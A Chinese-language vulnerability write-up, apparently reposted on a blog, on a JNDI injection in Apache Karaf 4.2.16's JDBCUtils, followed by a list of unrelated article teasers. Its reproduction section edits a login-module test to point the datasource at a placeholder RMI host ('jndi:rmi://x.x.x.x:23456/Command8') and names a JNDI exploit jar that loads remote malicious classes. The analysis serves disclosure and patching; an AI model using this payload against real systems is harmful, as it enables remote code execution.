漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

news2024/11/19 17:43:05

项目地址

GitHub - apache/karaf: Mirror of Apache Karaf

项目介绍

Apache Karaf是一个模块化运行时,支持多种框架和编程模型(REST/API、web、spring boot 等)。它提供了统包功能,您可以毫不费力地直接利用这些功能,打包为可变或不可变的应用程序。

项目版本

4.2.16

漏洞分析

该项目重写 JDBCUtils 作为连接数据库功能;在 jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils 使用了 jndi 协议测试链接是否正常访问,但是在 doCreateDatasource 函数中调用了 ic.lookup(jndiName) 来初始化查找数据库

 

lookup存在两个重载

看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx

lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例

For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory

而我们可以控制 lookup 函数的参数,使客户端访问提前设置好的恶意的 RMI 服务链接来加载恶意的对象class 字节码文件来实例化,从而执行代码,完成利用。

该类并不存在任何黑/白名单对用户传入进行过滤,用户可直接传入rmi 恶意链接执行命令。确定该处存在 jndi注入,可被利用导致命令执行

漏洞复现

该项目无web界面,利用方式可使用官方提供的Test类进行测试。 测试类为 JdbcLoginModuleTest

该项目测试类并没有测试 jndi 协议,而是测试 osgi 协议。为了复现我们需要更改为 jndi 协议。代码如下所示

        options = new HashMap<>();
//        options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());
        options.put(JDBCUtils.DATASOURCE, "jndi:rmi://x.x.x.x:23456/Command8");
        options.put(BundleContext.class.getName(), context);

因为是jndi注入,需要配置注入payload及工具,以 JNDI-1.0-all.jar 为例,无需配置相关选项,仅使用默认 config.properties 即可弹出计算器

修复方式

升级到最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/110774.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

戴维南定理

定理内容&#xff1a;任意二端口直流网络都可以被一个等效电路替换&#xff0c;这个等效电路只包含一个电压源和一个串联电阻&#xff0c;如图1所示。 图1 戴维南定理的作用 1、分析含有非串联或非并联电源的网络 2、用最少数量的元件实现复杂网络的端口特性&#xff08;端口前…

【深入浅出Spring原理及实战】「开发实战系列」SpringSecurity原理以及实战认证分析开发指南

前提介绍 承接上一篇文章&#xff0c;相信大家应该已经对SpringSecurity的原理有了一定的认识&#xff0c;而本篇文章给大家带来的则是在实际业务开发中的技术指南&#xff0c;希望对你有所帮助。所谓知彼知己方能百战百胜&#xff0c;用Spring Security来满足我们的需求最好了…

我们国家都有哪些信息安全标准

写在前面 早年刚参加信息安全工作更多的学点皮毛技术&#xff0c;到处找安全工具&#xff0c;跟踪poc&#xff0c;拿到一个就全网扫一遍&#xff0c;从来没有想过&#xff0c;系统化的安全工作应该怎样搞?我做的工作在安全体系中处于哪个阶段? 后来有机会做企业安全建设&…

503.下一个更大元素II,42. 接雨水

503. 下一个更大元素 II 给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的 下一个更大元素 。 数字 x 的 下一个更大的元素 是按数组遍历顺序&#xff0c;这个数字之后的第一个比它更大的数…

C++:vector操作笔记

本文记录了对C中的vector容器的简单操作&#xff0c;包括给vector添加元素、按指定列排序、取值。 文章目录一、vector 和普通数组之间的转化二、根据vector数组的某一列数据排序三、删除二维 vector 数组最后一列数据一、vector 和普通数组之间的转化 1&#xff0c;数组转vec…

Mysql日志体系

3、Mysql日志体系 bing log &#xff1a;在server记录mysql所有的DDL和DML语句&#xff0c;主要用来做主从复制和数据恢复。内容追加&#xff0c;没有固定大小限制。redo log &#xff1a;undo log &#xff1a; 3.1、bin log 3.1.1、binlog日志作用 binlog记录所有的DDL和…

Unity CEO:玩家不在乎AR还是VR,他们只想要优质内容

近期&#xff0c;Unity CEO John Riccitiello在接受英国金融时报采访时&#xff0c;透露了自己对于游戏的前生今世&#xff0c;以及AR/VR和未来的看法。他认为&#xff0c;打造一个新平台需要大量优质内容&#xff0c;创意对于新平台很重要&#xff0c;不管AR和VR技术有什么区别…

java医院挂号系统挂号预约网站挂号网站预约网站源码

主要实现门诊挂号和用户网站预约挂号的功能 演示视频&#xff1a; https://www.bilibili.com/video/BV1nN411d7HT/?share_sourcecopy_web&vd_sourceed0f04fbb713154db5cc611225d92156 环境&#xff1a;jdk7/8mysql5.5tomcat7/8 技术&#xff1a;ssm(springspringmvcmyi…

读书笔记---Bioinformatics Data Skills

最近阅读了《Bioinformatics Data Skills》&#xff0c;是不错的生物信息学入门书&#xff0c;本文作者简介如下&#xff1a; 全书以下面三个方向展开&#xff0c;为生物信息学的继续学习指明了道路&#xff1a; &#xff08;1&#xff09;生物信息学数据技巧&#xff08;第一章…

动态DNS与DPDK高性能DNS -DPDK环境搭建

工具准备&#xff1a; vmware Ubuntu 16.04 Server 版本 1.vmware 添加两块网卡 桥接网卡作为 DPDK 运行的网卡 NAT 网卡作为 ssh 连接的网卡 2.修改网卡配置信息 将 ethernet0.virtualDev 由 e1000 修改 vmxnet3&#xff0c;因为 vmware 的 vmxnet3 支持多队 列网卡 3.修…

Qt对象树

对象模型&#xff08;对象树&#xff09; 类似于c中虚析构实现的功能一样&#xff0c;在释放父类对象的同时调用子类的析构函数释放子类对象 也c调用析构函数的区别是&#xff1a;会先调用父类的析构函数&#xff0c;然后一层层往下调用子类析构&#xff0c;直到调用到底层子…

10.1、Django框架简介、创建第一个应用

文章目录预备知识MVC模式和MTV模式MVC模式MTV 模式Django框架Django框架简介Django框架的应用启动后台admin站点管理数据库迁移创建管理员用户管理界面本地化创建并使用一个应用bookapp项目的数据库模型创建数据库模型生成数据库表数据库上的基本操作启用后台admin站点管理自定…

Vue框架--Ruoyi解析(前端)

路由router注册 router目录下的 index.js 配合 permission.js 是整套vue前端项目的权限判断核心. index.js 里面的path 配置都是一些不会与权限挂钩的路由,例如: 404、登录页面路径等. permission.js 中的 router.beforeEach 是路由拦截,在访问某个链接之前会进行权限判断,但是…

Mob教你汇总常见的用户注册和登录方式

目前市面上APP的常见的用户注册和登录方式有三种&#xff0c;第一种是最早期的手机号码密码登录&#xff0c;第二种是常见的 手机号码短信验证码&#xff0c;第三者是最新推出&#xff0c;且正被各大应用APP接入采用的" 一键登录"秒验方式。本文从运行方式、优势、劣…

【Leetcode】965. 单值二叉树、100. 相同的树、572. 另一棵树的子树

作者&#xff1a;一个喜欢猫咪的的程序员 专栏&#xff1a;《Leetcode》 喜欢的话&#xff1a;世间因为少年的挺身而出&#xff0c;而更加瑰丽。 ——《人民日报》 目录 965. 单值二叉树 100. 相同的树 572. 另一棵树的子树 965. 单值二叉树…

蓝桥杯,我劝你不要参加的8个完美理由

蓝桥杯&#xff0c;是一个全国高校的IT技术比拼&#xff0c;如果你参加了&#xff0c;可能不止是刷题数量的剧增&#xff0c;还有你的软件人生 我劝你不要参加&#xff0c;因为如果你参加了&#xff0c;可能会有以下烦恼&#xff1a; 目录 1、会让你变得上进 2、会提前感受码…

OpenCV inRange 函数使用详解

本文是 OpenCV图像视觉入门之路的第6篇文章&#xff0c;本人详细的解决了RGB转HSV&#xff0c;HSV通过AI来进行HSV转 inRange() 函数的范围值操作&#xff0c;简单全面的解决了OpenCV对于图像中某个颜色的分析工作&#xff0c;本文通过识别红色区域和蓝色区域来编写示例程序和博…

从交互设计师的角度,聊聊设计工具的那些事

工欲善其事&#xff0c;必先利其器&#xff0c;这句话是出自论语&#xff0c;讲的是要做好一件事&#xff0c;工具是非常重要的&#xff0c;作为一个设计师&#xff0c;设计工具对于我们的重要性毋庸置疑&#xff0c;每天都在接触&#xff0c;也有很多感悟和心得。 我从事设计…

羟基生物素(Biotin-OH),生物素引发剂(Biotin-Cl)

产品名称&#xff1a;羟基生物素&#xff0c;生物素引发剂 英文名称&#xff1a;Biotin-Cl&#xff0c;Biotin-OH 含biotin-DSPE的胰岛素脂质体 合成生物素一硬脂酥磷脂酥乙醇胺(biotin-DSPE),制备含 biotin-DSPE 的胰岛素脂质体,以粒径和包封率为指标 制备生物素修饰的胰岛素…

如何通过视频推广的方式帮助外贸B2B企业获得询盘

会有外贸企业比较烦恼&#xff0c;总是寻找不到精准客户&#xff0c;也很少有客户向自己询盘&#xff0c;企业需要订单&#xff0c;自己的品牌想要在目标市场被知晓&#xff0c;如何解决这些问题呢&#xff1f;我们可以跟随现阶段流行的趋势——视频推广&#xff0c;接下来请慢…